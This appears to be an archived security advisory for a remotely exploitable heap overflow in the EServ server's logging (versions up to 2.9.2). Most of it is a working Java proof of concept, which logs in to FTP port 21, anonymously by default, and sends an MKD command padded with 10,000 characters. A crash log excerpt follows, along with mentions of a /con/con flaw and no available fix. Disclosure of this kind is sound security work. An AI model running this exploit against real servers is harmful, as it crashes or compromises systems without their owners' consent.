COMMAND
Eserv
SYSTEMS AFFECTED
Eserv
PROBLEM
Following is based on a MDMA Advisory #6 by Andrew Lewis aka.
Wizdumb. EServ has problems handling long strings in its
logging, which leads it to have a remotely exploitable heap
overflow. The following code demonstrates the vulnerability...
/* Proof of concept code for the heap overflow in EServ <= 2.9.2
* Written 10/05/2000 by Andrew Lewis aka. Wizdumb [MDMA]
*/
import java.io.*;
import java.net.*;
class eservheap {
public static void main(String[] args) throws IOException {
if (args.length < 1) {
System.out.println("Syntax: java eservheap [host] <user> <pass>");
System.exit(1); }
Socket soq = null;
PrintWriter white = null;
BufferedReader weed = null;
try {
soq = new Socket(args[0], 21);
white = new PrintWriter(soq.getOutputStream(), true);
weed = new BufferedReader(new InputStreamReader(soq.getInputStream()));
} catch (Exception e) {
System.out.println("Problems connecting :-/");
System.exit(1); }
weed.readLine();
String juzer = (args.length == 3) ? ("USER " + args[1]) : "USER anonymous";
String pasz = (args.length == 3) ? ("PASS " + args[2]) : "PASS mdma";
white.println(juzer + "\n" + pasz);
weed.readLine();
weed.readLine();
white.print("MKD ");
for (int i = 0; i < 10000; i++) white.print("A");
white.println(); // uNf! Who yoh daddy, bitch?
weed.readLine();
white.println("QUIT"); } }
And no, you don't need write access to the directory for that to
work -- like said before. The heap overflow occurs in the
logging.
The following extract from e.log show the effect of this code...
27.05.2000 17:02:19 Eserv/2.92 2986 1
EXCEPTION! CODE:C0000005 ADDRESS:49247E WORD:C! REGISTERS:
1C5EC6C 50 62 34 00 36 5D 4E 00 FF 5F 34 00 0C 27 00 00
Pb4.6]N.Ñ_4..'..
1C5EC7C E8 FD 00 00 41 00 00 00 48 FF C5 01 7E 24 49 00
ÉÜ..A...HÑå.~$I.
1C5EC8C 1B 00 00 00 46 02 01 00 9C EE C5 01 23 00 00 00
.....F..._Ïå.#...
/* Ie. Thread crashes on MKD, but has no effect on other threads */
USER DATA: 346250 HANDLER: 1C5EED0 RETURN STACK:
1C5EE9C : 498BB9 C!
1C5EEA0 : 4C2AF0 HOLD
1C5EEA4 : 4CAC34 HOLDS
/* these HOLDS are buggy - no length checking */
1C5EEA8 : 7FFFE6FC <not in the image>
1C5EEAC : 7FFFD8F4 <not in the image>
1C5EEB0 : 4CAC49 HOLDS
1C5EEB4 : 4E5E12 MKD
1C5EEB8 : 49B279 |DROP
1C5EEBC : 2 <not found>
1C5EEC0 : 339DE8 <not found>
1C5EEC4 : 270C <not found>
1C5EEC8 : 4C42C1 INTERPRET
1C5EECC : 4C303F NEW_CATCH
1C5EED0 : 1C5EF14 <not in the image>
It may also be worth noting that EServ has the /con/con
vulnerability and that older versions shipped with a vulnerable
version of Ultimate Bulletin Board.
SOLUTION
Nothing yet.